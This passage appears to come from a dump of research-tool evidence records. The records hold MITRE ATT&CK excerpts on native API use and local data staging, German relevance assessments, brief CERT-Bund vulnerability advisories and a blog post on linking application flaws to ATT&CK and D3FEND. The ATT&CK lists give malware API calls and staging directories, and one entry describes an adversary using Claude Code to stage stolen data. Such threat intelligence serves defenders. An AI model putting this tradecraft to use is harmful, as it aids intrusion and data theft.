the OpenClipboard wrapper. [100]\n\nS0512\n\nFatDuke\n\nFatDuke can call ShellExecuteW to open the default browser on the URL localhost. [101]\n\nS0696\n\nFlagpro\n\nFlagpro can use Native API to enable obfuscation including GetLastError and GetTickCount . [102]\n\nS0661\n\nFoggyWeb\n\nFoggyWeb 's loader can use API functions to load the FoggyWeb backdoor into the same Application Domain within which the legitimate AD FS managed code is executed. [103]\n\nS9033\n\nFooder\n\nFooder has used the WinCrypt API for payload decryption, DuplicateTokenEx to duplicate the token of a specified process, and CreateProcessAsUserA for payload execution. [104]\n\nS1044\n\nFunnyDream\n\nFunnyDream can use Native API for defense evasion, discovery, and collection. [105]\n\nG0047\n\nGamaredon Group\n\nGamaredon Group malware has used CreateProcess to launch additional malicious components. [106] [107]\n\nS0666\n\nGelsemium\n\nGelsemium has the ability to use various Windows API functions to perform tasks. [65]\n\nS0032\n\ngh0st RAT\n\ngh0st RAT has used the InterlockedExchange , SeShutdownPrivilege , and ExitWindowsEx Windows API functions. [108]\n\nS0493\n\nGoldenSpy\n\nGoldenSpy can execute remote commands in the Windows command shell using the WinExec() API. [109]\n\nS0477\n\nGoopy\n\nGoopy has the ability to enumerate the infected system's user name via GetUserNameW . [86]\n\nG0078\n\nGorgon Group\n\nGorgon Group malware can leverage the Windows API call, CreateProcessA(), for execution. [110]\n\nS0531\n\nGrandoreiro\n\nGrandoreiro can execute through the WinExec API. [111]\n\nS0632\n\nGrimAgent\n\nGrimAgent can use Native API including GetProcAddress and ShellExecuteW . [112]\n\nS0561\n\nGuLoader\n\nGuLoader can use a number of different APIs for discovery and execution. [113]\n\nS0499\n\nHancitor\n\nHancitor has used CallWindowProc and EnumResourceTypesA to interpret and execute shellcode. [114]\n\nS1229\n\nHavoc\n\nHavoc can use NtAllocateVirtualMemory and NtCreateThreadEx to aid process injection. [115]\n\nS0391\n\nHAWKBALL\n\nHAWKBALL has leveraged several Windows API calls to create proc", - "content_type": "text/html", - "query": "Welche spezifischen Indikatoren oder Verhaltensmuster sind für die Erkennung von T1106 (Native API) bei der Analyse von Software wie Empire und MacMa relevant?", - "language": "de-DE", - "round": 2, - "fetched": true, - "relevant": true, - "relevance": 0.42250000000000004, - "source_quality": "primary", - "source_quality_score": 0.7760000000000001, - "actionable": true, - "covered_gap_ids": [ - "AR-86eb8cf9-3" - ], - "assessment_reason": "Die Quelle beschreibt die Technik T1106 (Native API) im Kontext von MITRE ATT\u0026CK, aber sie liefert keine spezifischen Indikatoren oder Verhaltensmuster, die direkt auf die Analyse von Software wie Empire und MacMa abgestimmt sind. Sie bietet eine allgemeine Erklärung der Technik, aber keine konkreten Schritte oder Indikatoren für die Erkennung in diesen spezifischen Tools." - } -} diff --git a/data/research-evidence/debf0ce04a4733acc602fd4d.json b/data/research-evidence/debf0ce04a4733acc602fd4d.json deleted file mode 100644 index 1901595..0000000 --- a/data/research-evidence/debf0ce04a4733acc602fd4d.json +++ /dev/null @@ -1,18 +0,0 @@ -{ - "schema_version": 1, - "saved_at": "2026-08-08T21:43:57.2340932Z", - "content_sha256": "6d8c9087d0ec69a37541aed9780ccf901f0663c2a4b4af279e10c89ead49f68a", - "result": { - "title": "[NEU] [hoch] Wazuh: Mehrere Schwachstellen", - "url": "https://wid.cert-bund.de/portal/wid/securityadvisory?name=WID-SEC-2026-2699", - "snippet": "Ein Angreifer kann mehrere Schwachstellen in Wazuh ausnutzen, um beliebigen Programmcode auszuführen, um seine Privilegien zu erhöhen, um einen Denial of Service Angriff durchzuführen, um Informationen offenzulegen, um Dateien zu manipulieren, und um einen SQL-Injection Angriff durchzuführen.", - "content": "Ein Angreifer kann mehrere Schwachstellen in Wazuh ausnutzen, um beliebigen Programmcode auszuführen, um seine Privilegien zu erhöhen, um einen Denial of Service Angriff durchzuführen, um Informationen offenzulegen, um Dateien zu manipulieren, und um einen SQL-Injection Angriff durchzuführen.", - "content_type": "text/html", - "fetched": true, - "relevant": true, - "relevance": 0.6639137414171434, - "source_quality": "curated_agent", - "source_quality_score": 0.82, - "assessment_reason": "Vom konfigurierten Source-Agent als priorisierte Security-Meldung geliefert." - } -} diff --git a/data/research-evidence/e175b5b4aef0dcc6fbc0de3c.json b/data/research-evidence/e175b5b4aef0dcc6fbc0de3c.json deleted file mode 100644 index bc25a34..0000000 --- a/data/research-evidence/e175b5b4aef0dcc6fbc0de3c.json +++ /dev/null @@ -1,25 +0,0 @@ -{ - "schema_version": 1, - "saved_at": "2026-08-09T03:02:44.9414839Z", - "content_sha256": "d7690efbb7e421872d196337dbb5743538048bdd63d8ec70f3285e6dae8dce28", - "result": { - "title": "So ordnen Sie Anwendungsfehler automatisch MITRE ATT\u0026CK-Techniken und D3FEND-Gegenmaßnahmen zu", - "url": "https://ichi.pro/de/so-ordnen-sie-anwendungsfehler-automatisch-mitre-att-ck-techniken-und-d3fend-gegenmassnahmen-zu-17043794884442", - "snippet": "An dieser Stelle können öffentlich verfügbare Wissensgraphen zur Cybersicherheit wie D3FEND und OWASP OdTM hilfreich sein . Diese Wissensgraphen enthalten Informationen zu Schwachstellen, den zugehörigen ATT\u0026CK-Techniken und den entsprechenden Gegenmaßnahmen.", - "content": "So ordnen Sie Anwendungsfehler automatisch MITRE ATT\u0026CK-Techniken und D3FEND-Gegenmaßnahmen zu\n\nSo ordnen Sie Anwendungsfehler automatisch MITRE ATT\u0026CK-Techniken und D3FEND-Gegenmaßnahmen zu\n\nVerwendung von Neo4J Data Fabric und NeoSemantics unter der Haube\n\nExploits, die in Open-Source-Softwarepaketen (wie log4j ) entdeckt wurden, veranlassten die Branche, eine Lösung zu finden, um Schwachstellen und Schwachstellen in Anwendungen zu überwachen, zu erkennen, zu verhindern und zu reparieren. Dieser Bedarf ist für den gesamten Lebenszyklus der Softwareentwicklung relevant und umfasst sowohl selbst entwickelte als auch Softwarekomponenten von Drittanbietern. Um diesem Bedarf gerecht zu werden, verwenden Organisationen Erkennungsmethoden, um anfällige Softwarekomponenten zu erkennen, wie z. B. Static Application Security Testing (SAST), Dynamic Application Security Testing (DAST) und mehr.\n\nDiese Scanmethoden entdecken normalerweise Sicherheitslücken im Quellcode, können aber nicht das vollständige Bild liefern, das ein Sicherheitsexperte zur Analyse der Software benötigt. Zum Beispiel:\n\n(1) Wie könnte ein Angreifer den erkannten Fehler ausnutzen?\n\n(2) Welche Gegenmaßnahmen könnte der Codebesitzer ergreifen, um diesen Exploit zu verhindern?\n\nAn dieser Stelle können öffentlich verfügbare Wissensgraphen zur Cybersicherheit wie D3FEND und OWASP OdTM hilfreich sein . Diese Wissensgraphen enthalten Informationen zu Schwachstellen, den zugehörigen ATT\u0026CK-Techniken und den entsprechenden Gegenmaßnahmen. Eine Projektion der Anwendungsfehler über diese verschmolzenen Wissensgraphen ermöglicht die Erweiterung jedes Fehlers mit dem Kontext der potenziellen ATT\u0026CK-Techniken und der entsprechenden Gegenmaßnahmen. Die folgende Abbildung zeigt ein Beispiel für eine solche Erweiterung.\n\nBeispiel für einen erweiterten Anwendungssicherheits-Ergebnisbericht\n\nIn diesem Blog stellen wir eine ontologiegesteuerte Datenföderationsarchitektur für die Aufgabe zur Erweiterung von Anwendungssicherheitsberichten vor. Diese Erweiterung ermöglicht die Gruppierung der entdeckten Anwendungsfehler nach Angriffstechniken und deren entsprechenden Gegenmaßnahmen. Diese Gruppierung erleichtert die Aufgaben der Behebungspriorisierung und Bedrohungsbewertung durch ergänzende Tools (wie Accenture IntelGraph ), die die Techniken weiter nach Bedrohungsgruppen kategorisieren und einen entsprechenden Behebungsplan bereitstellen können.\n\nUm das oben Gesagte zu erreichen:\n\n(1) Wir bauen eine föderierte Wissensdatenbank öffentlicher Wissensspeicher (D3FEND und OdTM) über Neo4J Data Fabric und NeoSemantics -Technologien auf\n\n(2) Dann erstellen wir eine Knowledge-Graph-Darstellung eines Anwendungssicherheits-Ergebnisberichts, der aus Fehlern besteht, die im Anwendungscode entdeckt wurden.\n\n(3) Schließlich verwenden wir eine Datenföderationsgraphabfrage, um jeden erkannten Fehler mit Informationen von D3FEND und OdTM zu verknüpfen.\n\nIm Rest des Blogs erklären wir, wie das geht. Zunächst beschreiben wir kurz Neo4J Data Fabric und NeoSemantics. Dann tauchen wir tief in die spezifischen Data Fabric-Komponenten ein. Abschließend demonstrieren wir, wie wir eine Erweiterung eines Befundberichts über eine Datenföderationsabfrage durchführen.\n\nOntologiegesteuerte Datenföderationsarchitektur\n\nWas ist Neo4J Data Fabric?\n\nNeo4J-Fabric ist eine Möglichkeit, Daten aus mehreren Datenbanken mit einer einzigen Verschlüsselungsabfrage zu speichern und abzurufen. Es hat zwei Hauptanwendungsfälle: Erstens, Datenföderation, d. h. die Möglichkeit, auf Daten zuzugreifen, die in verteilten Quellen in Form von unzusammenhängenden Graphen verfügbar sind. Zweitens Daten-Sharding, d. h. die Möglichkeit, auf Daten zuzugreifen, die in verteilten Quellen in Form eines gemeinsamen Diagramms verfügbar sind, das auf mehrere Datenbanken verteilt ist. In diesem Blog demonstrieren wir den Anwendungsfall der Datenföderation.\n\nWas ist NeoSemantik?\n\nNeoSemantics ist ein Plugin, das die Verwendung von RDF und den zugehörigen Vokabularien in Neo4j ermöglicht. Die wichtigsten Funktionalitäten von NeoSemantics sind wie folgt. Erstens Import und Export von Ontologien/Taxonomien in verschiedenen Vokabularen ( OWL , SKOS , RDFS ). Zweitens, Diagrammvalidierung basierend auf SHACL-Einschränkungen. Drittens grundlegende Inferenz, wie z. B. ein Abrufen aller Knoten derselben ontologischen Kategorie. In diesem Blog demonstrieren wir die NeoSemantics-Importfunktionalität.\n\nData Fabric-Komponenten\n\nLassen Sie uns nun die verschiedenen Komponenten der Data Fabric beschreiben. Im Allgemeinen besteht die Data Fabric aus zwei Arten von Datenbanken: einer Datenbank, die konkrete gesammelte Informationen enthält, und Datenbanken, die Informationen enthalten, die aus öffentlichen Wissensspeichern gesammelt wurden.\n\nDie öffentlichen Wissensspeicher in der Data Fabric bestehen aus zwei Ontologien:\n\n(1) Die D3FEND-Ontologie enthält Informationen über Angriffstechniken, wie sie digitale Artefakte kompromittieren könnten und wie diese digitalen Artefakte durch Abwehrtechniken verteidigt werden könnten.\n\n(2) Die OWASP OdTM-Ontologie enthält Informationen über Schwachstellen (CVEs), deren Kategorisierung zu Schwachstellen (CWE), welche Angriffsmuster entsprechend aktiviert werden und welche Angriffstechniken als Teil des Angriffsmusters angewendet werden könnten.\n\nDie konkreten gesammelten Informationen in der Fabric enthalten Informationen über Anwendungen, ihre Module, die in jedem Modul entdeckten Ergebnisse und eine Zuordnung jedes Ergebnisses zu einer CVE- oder CWE-Referenz.\n\nSobald alle Informationen über das NeoSemantics-Plug-in in das Diagramm geladen wurden und die verschiedenen Datenbanken unter derselben Data Fabric konfiguriert sind, werden die Informationen fusioniert, indem die gemeinsam genutzten Objekte über die Datenbanken hinweg mithilfe einer gemeinsam genutzten Kennungseigenschaft abgeglichen werden. Derselbe „CVE-Typ“-Instanzknoten im Ergebnisdiagramm der Anwendungssicherheit hat nämlich dieselbe Kennung wie der „CVE“-Instanzknoten im OWASP-OdTM-Ontologiediagramm. Alle gemeinsam genutzten Objekte werden entsprechend abgeglichen (in der Abbildung unten orange hervorgehoben). Nachdem die Informationen verschmolzen sind, können wir eine Abfrage erstellen, die Pfade von der Fehlersuche bis zu den entsprechenden Angriffs- und Verteidigungstechniken durchläuft.\n\nData Fabric-Komponenten\n\nAnreicherung eines Befundberichts per Datenföderationsabfrage\n\nDie folgende Abbildung zeigt den Wissensgraphen zur Anwendungssicherheit. Der gelbe Knoten steht für eine gescannte Anwendung, die roten Knoten stehen für die Module der Anwendung, die hellbraunen Knoten stehen für Fehler, die in den Modulen entdeckt wurden. Die CWE-Referenzen werden durch orangefarbene Knoten dargestellt.\n\nBeispiel für einen Wissensgraphen zu Anwendungssicherheitsergebnissen\n\nNachdem wir nun ein Beispiel für das Ergebnisdiagramm der Anwendungssicherheit gesehen haben, sehen wir uns an, wie die Fabric-Magie abläuft.\n\nDie folgende Abbildung zeigt ein Beispiel für eine Datenföderationsabfrage. Die Abfrage erhält Ergebnisse und ruft die zugehörigen Angriffstechniken, Verteidigungstechniken und digitalen Artefakte ab.\n\nDiese Abfrage besteht aus einer Komponente für jede Datenbank, die an der Aufgabe zur Berichtserweiterung beteiligt ist. Zuerst rufen wir die zugehörigen CWEs (grün hervorgehoben) jedes Befunds (gelb hervorgehoben) im Knowledge Graph der Anwendungssicherheitsergebnisse ab. Zweitens nehmen wir die aus dem vorherigen Schritt abgerufenen CWEs und durchlaufen die entsprechenden Angriffstechniken (in Lila hervorgehoben) aus der OWASP-OdTM-Ontologie. Schließlich nehmen wir die aus dem vorherigen Schritt abgerufenen Angriffstechniken und durchlaufen die entsprechenden digitalen Artefakte und Verteidigungstechniken aus der D3FEND-Ontologie.\n\nBeispiel einer Datenföderationsabfrage\n\nUnd jetzt haben Sie alle gesehen, wie wir eine Anwendungssicherheitsfeststellung automatisch mit den entsprechenden Angriffsmustern, Angriffstechniken, digitalen Artefakten und Gegenmaßnahmen ergänzt haben. Unten finden Sie eine visuelle Darstellung eines erweiterten Anwendungssicherheits-Ergebnisberichts.\n\nBeispiel für einen erweiterten Anwendungssicherheitsbericht – eine grafische Ansicht\n\nRekapitulieren\n\nWir haben in diesem Blog gesehen, dass Data Fabric und NeoSemantics die Erstellung einer föderierten Wissensbasis ermöglichen, insbesondere unter Verwendung öffentlicher Ontologien. Darüber hinaus ermöglicht die Verbindung mehrerer öffentlich verfügbarer Ontologien auf diese Weise die Beantwortung der folgenden Fragen:\n\nWenn meine Software eine bekannte Sicherheitslücke oder Schwachstelle aufweist,\n(1) welche potenziellen Angriffsmuster und -techniken könnten verwendet werden, um sie auszunutzen?\n(2) Was sind die möglichen Gegenmaßnahmen, die ich ergreifen könnte, um einen solchen Exploit zu vermeiden?\n\nVergessen Sie nicht, sich meine Sitzung bei NODES'22 anzusehen , um weitere Perspektiven der besprochenen Themen zu erhalten.\n\nVielen Dank an Dan Klein – Accenture Labs Israel Cyber Security R\u0026D Group Lead – für seine Beiträge.\n\nSuggested posts\n\nSammeln von OSINT für die Bedrohungssuche\n\nHallo, Cyber-Enthusiasten! Willkommen zurück bei der OSINT-Serie zur Bedrohungsjagd. Im ersten Artikel habe ich Ihnen einen Überblick über OSINT und seine Bedeutung bei der Bedrohungsjagd gegeben.\n\nVerfolgen Sie jeden mit nur einer Telefonnummer | OSINT-Untersuchung\n\nSie können ein OSINT-Ermittler, ein CTF-Spieler oder einfach jemand sein, der Spam-Anrufe erhält. Jemand, der versucht, die Nummer zu bestätigen, die Sie in einer Anzeige gesehen haben.\n\nRelated posts\n\nWarum manche Freiberufler ihr Leben vortäuschen\n\nIch war kürzlich auf Linkedin, dem weltweit größten professionellen sozialen Netzwerk, und habe Beiträge von freiberuflichen Designern gefunden, denen ich folge und die meine Aufmerksamkeit erregt haben. Sie alle haben Fotos aus Flugzeugen, am Strand mit ihren Laptops, aus Schwimmbädern und Büros mit atemberaubender Aussicht gepostet.\n\nDie Goodreads Reading Challenge ist giftig\n\nDer Juckreiz in meiner Hand breitete sich aus, als ich mit dem örtlichen Buchhändler um ein weiteres Buch verhandelte. Dieses Buch würde wie die anderen, die ich kürzlich gekauft habe, seinen Thron auf meinem Stapel „To Be Read“ (TBR) finden; und trotzdem habe ich es gekauft.\n\nDie langsame Erosion: Enthüllung der Art und Weise, wie Menschen in ihrer Karriere verkümmern\n\nIn der heutigen schnelllebigen und wettbewerbsintensiven Welt spielt die Karriere eine wichtige Rolle für das persönliche Wachstum, die finanzielle Stabilität und die allgemeine Lebenszufriedenheit. Viele Menschen befinden sich jedoch in einem unerbittlichen Kreislauf aus Stagnation und Unzufriedenheit, der ihr Berufsleben allmählich verkümmert.\n\nDas erste Buch zum Thema „High“ für Kinder\n\n(Warnung – das ist Satire, die fröhlich subversiv sein soll – definitiv nichts für Kinder) Sie haben gesehen, wie Ihre Eltern sich in der Küche versteckten und diese stinkenden Zigaretten rauchten. Sie sagen es dir.", - "content_type": "text/html", - "query": "Wie können MITRE ATT\u0026CK und OWASP ASVS in der Praxis kombiniert werden, um Anwendungssicherheit zu verbessern?", - "language": "de-DE", - "round": 2, - "fetched": true, - "relevant": true, - "relevance": 0.8072727272727274, - "source_quality": "reputable_secondary", - "source_quality_score": 0.6639999999999999, - "actionable": true, - "covered_gap_ids": [ - "AR-907479d4-4" - ], - "assessment_reason": "Die Quelle beschreibt, wie Anwendungsfehler mit MITRE ATT\u0026CK-Techniken und D3FEND-Gegenmaßnahmen verknüpft werden können, was eine direkte Beziehung zur Kombination von MITRE ATT\u0026CK und OWASP ASVS hat. Sie erwähnt zwar nicht explizit OWASP ASVS, aber die Verknüpfung von Sicherheitsfehlern mit Bedrohungsmodellen und Gegenmaßnahmen ist ein zentraler Aspekt der ASVS-Prüfung. Die Quelle bietet jedoch keine konkreten Schritte zur Kombination beider Frameworks, sondern konzentriert sich auf die Integration von Wissensgraphen. Daher ist die Relevanz hoch, aber die Umsetzbarkeit gering." - } -} diff --git a/data/research-evidence/e30d3344b9b35dae1f6aa8c3.json b/data/research-evidence/e30d3344b9b35dae1f6aa8c3.json deleted file mode 100644 index af82289..0000000 --- a/data/research-evidence/e30d3344b9b35dae1f6aa8c3.json +++ /dev/null @@ -1,18 +0,0 @@ -{ - "schema_version": 1, - "saved_at": "2026-08-08T21:28:41.2396879Z", - "content_sha256": "c7ebe3dbe5f25282ab2fd09b4daef87a0a41eb43398a6ad0adf7374469f22589", - "result": { - "title": "[UPDATE] [mittel] Linux Kernel: Schwachstelle ermöglicht Privilegieneskalation", - "url": "https://wid.cert-bund.de/portal/wid/securityadvisory?name=WID-SEC-2026-2481", - "snippet": "Ein lokaler Angreifer kann eine Schwachstelle im Linux Kernel ausnutzen, um seine Privilegien zu erhöhen.", - "content": "Ein lokaler Angreifer kann eine Schwachstelle im Linux Kernel ausnutzen, um seine Privilegien zu erhöhen.", - "content_type": "text/html", - "fetched": true, - "relevant": true, - "relevance": 0.7294065380437933, - "source_quality": "curated_agent", - "source_quality_score": 0.82, - "assessment_reason": "Vom konfigurierten Source-Agent als priorisierte Security-Meldung geliefert." - } -} diff --git a/data/research-evidence/e8cd03d77ed3f9a9d3f9f82e.json b/data/research-evidence/e8cd03d77ed3f9a9d3f9f82e.json deleted file mode 100644 index 85cf821..0000000 --- a/data/research-evidence/e8cd03d77ed3f9a9d3f9f82e.json +++ /dev/null @@ -1,18 +0,0 @@ -{ - "schema_version": 1, - "saved_at": "2026-08-08T21:47:41.9633547Z", - "content_sha256": "6609c1f4aaefd124bc7d54513b0457b3045d60e302b30ee9eea281a6f635522e", - "result": { - "title": "[NEU] [mittel] Autodesk AutoCAD und Civil 3D: Mehrere Schwachstellen", - "url": "https://wid.cert-bund.de/portal/wid/securityadvisory?name=WID-SEC-2026-2705", - "snippet": "Ein Angreifer kann mehrere Schwachstellen in Autodesk AutoCAD und Autodesk Civil 3D ausnutzen, um einen Denial of Service Angriff durchzuführen, und um beliebigen Programmcode auszuführen.", - "content": "Ein Angreifer kann mehrere Schwachstellen in Autodesk AutoCAD und Autodesk Civil 3D ausnutzen, um einen Denial of Service Angriff durchzuführen, und um beliebigen Programmcode auszuführen.", - "content_type": "text/html", - "fetched": true, - "relevant": true, - "relevance": 0.6491396066599209, - "source_quality": "curated_agent", - "source_quality_score": 0.82, - "assessment_reason": "Vom konfigurierten Source-Agent als priorisierte Security-Meldung geliefert." - } -} diff --git a/data/research-evidence/e902b9342fe6698e196bcb45.json b/data/research-evidence/e902b9342fe6698e196bcb45.json deleted file mode 100644 index 0f1f4ea..0000000 --- a/data/research-evidence/e902b9342fe6698e196bcb45.json +++ /dev/null @@ -1,25 +0,0 @@ -{ - "schema_version": 1, - "saved_at": "2026-08-09T04:16:04.1258943Z", - "content_sha256": "6c757db91455e4b04ba13da61e5d800eb90deeb5304740a13da5e5f783be8738", - "result": { - "title": "Data Staged: Local Data Staging, Sub-technique T1074.001 - Enterprise | MITRE ATT\u0026CK®", - "url": "https://attack.mitre.org/techniques/T1074/001/", - "snippet": "Adversaries may stage collected data in a central location or directory on the local system prior to Exfiltration. Data may be kept in separate files or combined into one file through techniques such as Archive Collected Data.", - "content": "Data Staged: Local Data Staging, Sub-technique T1074.001 - Enterprise | MITRE ATT\u0026CK®\n\nATT\u0026CKcon 7.0 in-person tickets are open! Join us October 27-28, 2026 in McLean, VA. Register here for in-person tickets; hotel and location details can be found in the FAQ .\n\nHome\n\nTechniques\n\nEnterprise\n\nData Staged\n\nLocal Data Staging\n\nData Staged:\nLocal Data Staging\n\nOther sub-techniques of Data Staged\n(2)\n\nID\n\nName\n\nT1074.001\n\nLocal Data Staging\n\nT1074.002\n\nRemote Data Staging\n\nAdversaries may stage collected data in a central location or directory on the local system prior to Exfiltration. Data may be kept in separate files or combined into one file through techniques such as Archive Collected Data . Interactive command shells may be used, and common functionality within cmd and bash may be used to copy data into a staging location.\n\nAdversaries may also stage collected data in various available formats/locations of a system, including local storage databases/repositories or the Windows Registry. [1]\n\nID: T1074.001\n\nSub-technique of:\nT1074\n\nTactic:\nCollection\n\nPlatforms: ESXi, Linux, Windows, macOS\n\nContributors: Massimiliano Romano, BT Security\n\nVersion: 1.2\n\nCreated: 13 March 2020\n\nLast Modified: 12 May 2026\n\nVersion Permalink\n\nLive Version\n\nProcedure Examples\n\nID\n\nName\n\nDescription\n\nC0063\n\n2025 Poland Wiper Attacks\n\nDuring the 2025 Poland Wiper Attacks , the adversaries compiled discovery data locally on the victim host in a file located within C:\\Windows\\TEMP\\outlog.txt . [2]\n\nS0045\n\nADVSTORESHELL\n\nADVSTORESHELL stores output from command execution in a .dat file in the %TEMP% directory. [3]\n\nG1030\n\nAgrius\n\nAgrius has used the folder, C:\\windows\\temp\\s\\ , to stage data for exfiltration. [4]\n\nC0062\n\nAnthropic AI-orchestrated Campaign\n\nDuring the Anthropic AI-orchestrated Campaign , the adversary used Claude Code to stage extracted data and operational documentation in structured markdown files on local systems prior to exfiltration. [5]\n\nS0622\n\nAppleSeed\n\nAppleSeed can stage files in a central location prior to exfiltration. [6]\n\nG0007\n\nAPT28\n\nAPT28 has stored captured credential information in a file named pi.log. [7]\n\nC0051\n\nAPT28 Nearest Neighbor Campaign\n\nDuring APT28 Nearest Neighbor Campaign , APT28 staged captured credential information in the C:\\ProgramData directory. [8]\n\nG0022\n\nAPT3\n\nAPT3 has been known to stage files for exfiltration in a single location. [9]\n\nG0087\n\nAPT39\n\nAPT39 has utilized tools to aggregate data prior to exfiltration. [10]\n\nC0040\n\nAPT41 DUST\n\nAPT41 DUST involved exporting data from Oracle databases to local CSV files prior to exfiltration. [11]\n\nG1023\n\nAPT5\n\nAPT5 has staged data on compromised systems prior to exfiltration often in C:\\Users\\Public . [12]\n\nS0373\n\nAstaroth\n\nAstaroth collects data in a plaintext file named r1.log before exfiltration. [13]\n\nS0438\n\nAttor\n\nAttor has staged collected data in a central upload directory prior to exfiltration. [14]\n\nS1029\n\nAuTo Stealer\n\nAuTo Stealer can store collected data from an infected host to a file named Hostname_UserName.txt prior to exfiltration. [15]\n\nG0135\n\nBackdoorDiplomacy\n\nBackdoorDiplomacy has copied files of interest to the main drive's recycle bin. [16]\n\nS0128\n\nBADNEWS\n\nBADNEWS copies documents under 15MB found on the victim system to is the user's %temp%\\SMB\\ folder. It also copies files from USB devices to a predefined directory. [17] [18]\n\nS0337\n\nBadPatch\n\nBadPatch stores collected data in log files before exfiltration. [19]\n\nS1246\n\nBeaverTail\n\nBeaverTail has staged collected data to the system’s temporary directory. [20]\n\nS0651\n\nBoxCaon\n\nBoxCaon has created a working folder for collected files that it sends to the C2 server. [21]\n\nC0015\n\nC0015\n\nDuring C0015 , PowerView's file share enumeration results were stored in the file c:\\ProgramData\\found_shares.txt . [22]\n\nC0017\n\nC0017\n\nDuring C0017 , APT41 copied the local SAM and SYSTEM Registry hives to a staging directory. [23]\n\nC0032\n\nC0032\n\nDuring the C0032 campaign, TEMP.Veles used staging folders that are infrequently used by legitimate users or processes to store data for exfiltration and tool deployment. [24]\n\nS0274\n\nCalisto\n\nCalisto uses a hidden directory named .calisto to store data from the victim’s machine before exfiltration. [25] [26]\n\nS0335\n\nCarbon\n\nCarbon creates a base directory that contains the files and folders that are collected. [27]\n\nS0261\n\nCatchamas\n\nCatchamas stores the gathered data from the machine in .db files and .bmp files under four separate locations. [28]\n\nS1043\n\nccf32\n\nccf32 can temporarily store files in a hidden directory on the local host. [29]\n\nG0114\n\nChimera\n\nChimera has staged stolen data locally on compromised hosts. [30]\n\nS1149\n\nCHIMNEYSWEEP\n\nCHIMNEYSWEEP can store captured screenshots to disk including to a covert store named APPX.%x%x%x%x%x.tmp where %x is a random value. [31]\n\nS0667\n\nChrommme\n\nChrommme can store captured system information locally prior to exfiltration. [32]\n\nS1235\n\nCorKLOG\n\nCorKLOG has stored the captured data in an encrypted file using a 48-character RC4 key. [33]\n\nS0538\n\nCrutch\n\nCrutch has staged stolen files in the C:\\AMD\\Temp directory. [34]\n\nS1153\n\nCuckoo Stealer\n\nCuckoo Stealer has staged collected application data from Safari, Notes, and Keychain to /var/folder . [35]\n\nS0673\n\nDarkWatchman\n\nDarkWatchman can stage local data in the Windows Registry. [1]\n\nG0035\n\nDragonfly\n\nDragonfly has created a directory named \"out\" in the user's %AppData% folder and copied files to it. [36]\n\nS9013\n\nDRYHOOK\n\nDRYHOOK has stored stolen credentials for future use in the temp folder of a victimized Ivanti Connect Secure VPN device, specifically in the file location /tmp/cmmmap.kumMW . [37] [38]\n\nS0567\n\nDtrack\n\nDtrack can save collected data to disk, different file formats, and network shares. [39] [40]\n\nS0038\n\nDuqu\n\nModules can be pushed to and executed by Duqu that copy data to a staging area, compress it, and XOR encrypt it. [41]\n\nS0062\n\nDustySky\n\nDustySky created folders in temp directories to host collected files before exfiltration. [42]\n\nS0024\n\nDyre\n\nDyre has the ability to create files in a TEMP folder to act as a database to store information. [43]\n\nS0593\n\nECCENTRICBANDWAGON\n\nECCENTRICBANDWAGON has stored keystrokes and screenshots within the %temp%\\GoogleChrome , %temp%\\Downloads , and %temp%\\TrendMicroUpdate directories. [44]\n\nS0081\n\nElise\n\nElise creates a file in AppData\\Local\\Microsoft\\Windows\\Explorer and stores all harvested data in that file. [45]\n\nS0343\n\nExaramel for Windows\n\nExaramel for Windows specifies a path to store files scheduled for exfiltration. [46]\n\nG1016\n\nFIN13\n\nFIN13 has utilized the following temporary folders on compromised Windows and Linux systems for their operations prior to exfiltration: C:\\Windows\\Temp and /tmp . [47] [48]\n\nG0053\n\nFIN5\n\nFIN5 scripts save memory dump data into a specific directory on hosts in the victim environment. [49]\n\nS0036\n\nFLASHFLOOD\n\nFLASHFLOOD stages data it copies from the local system or removable drives in the \"%WINDIR%\\$NtUninstallKB885884$\\\" directory. [50]\n\nS0503\n\nFrameworkPOS\n\nFrameworkPOS can identifiy payment card track data on the victim and copy it to a local file in a subdirectory of C:\\Windows. [51]\n\nS1044\n\nFunnyDream\n\nFunnyDream can stage collected information including screen captures and logged keystrokes locally. [29]\n\nG0093\n\nGALLIUM\n\nGALLIUM compressed and staged files in multi-part archives in the Recycle Bin prior to exfiltration. [52]\n\nS9010\n\nGlassWorm\n\nGlassWorm has staged collected data in a working directory within a temp folder to include /tmp/ijewf . [53] [54]\n\nS0249\n\nGold Dragon\n\nGold Dragon stores information gathered from the endpoint in a file named 1.hwp. [55]\n\nS0170\n\nHelminth\n\nHelminth creates folders to store output from batch scripts prior to sending the information to its C2 server. [56]\n\nG0119\n\nIndrik Spider\n\nIndrik Spider has stored collected data in a .tmp file. [57]\n\nS1245\n\nInvisibleFerret\n\nInvisibleFerret has staged data in consolidated folders prior to exfiltration. [58]\n\nS0260\n\nInvisiMole\n\nInvisiMole determines a working directory where it stores all the gathered data about the compromised machine. [59] [60]\n\nC0044\n\nJuicy Mix\n\nDuring Juicy Mix , OilRig used browser data and credential stealer tools to stage stolen files named Cupdate, Eupdate, and IUpdate in the %TEMP% directory. [61]\n\nS0265\n\nKazuar\n\nKazuar stages command output and collected data in files before exfiltration. [62]\n\nS0526\n\nKGH_SPY\n\nKGH_SPY can save collected system information to a file named \"info\" before exfiltration. [63]\n\nG0094\n\nKimsuky\n\nKimsuky has staged collected data files under C:\\Program Files\\Common Files\\System\\Ole DB\\ . [64] [65] Kimsuky has also gathered data in structured directories prior to exfiltration under the %TEMP% environment variable. [66]\n\nS1075\n\nKOPILUWAK\n\nKOPILUWAK has piped the results from executed C2 commands to %TEMP%\\result2.dat on the local machine. [67]\n\nS9035\n\nLAMEHUG\n\nLAMEHUG can save collected data and files of interest in C:\\ProgramData\\info\\ to consolidate for exfiltration. [68] [69]\n\nG0032\n\nLazarus Group\n\nLazarus Group malware IndiaIndia saves information gathered about the victim to a file that is saved in the %TEMP% directory, then compressed, encrypted, and uploaded to a C2 server. [70] [71]\n\nG0065\n\nLeviathan\n\nLeviathan has used C:\\Windows\\Debug and C:\\Perflogs as staging directories. [72] [73]\n\nC0049\n\nLeviathan Australian Intrusions\n\nLeviathan stored captured credential material on local log files on victim systems during Leviathan Australian Intrusions . [74]\n\nS0395\n\nLightNeuron\n\nLightNeuron can store email data in files and directories specified in its configuration, such as C:\\Windows\\ServiceProfiles\\NetworkService\\appdata\\Local\\Temp\\ . [75]\n\nS9020\n\nLODEINFO\n\nLODEINFO has collected stolen web cookies locally in the %TEMP% folder. [76]\n\nS1101\n\nLoFiSe\n\nLoFiSe can save files to be evaluated for further exfiltration in the C:\\Programdata\\Microsoft\\ and C:\\windows\\temp\\ folders.\n[77]\n\nG0030\n\nLotus Blossom\n\nLotus Blossom has locally staged compressed and archived data for follow-on 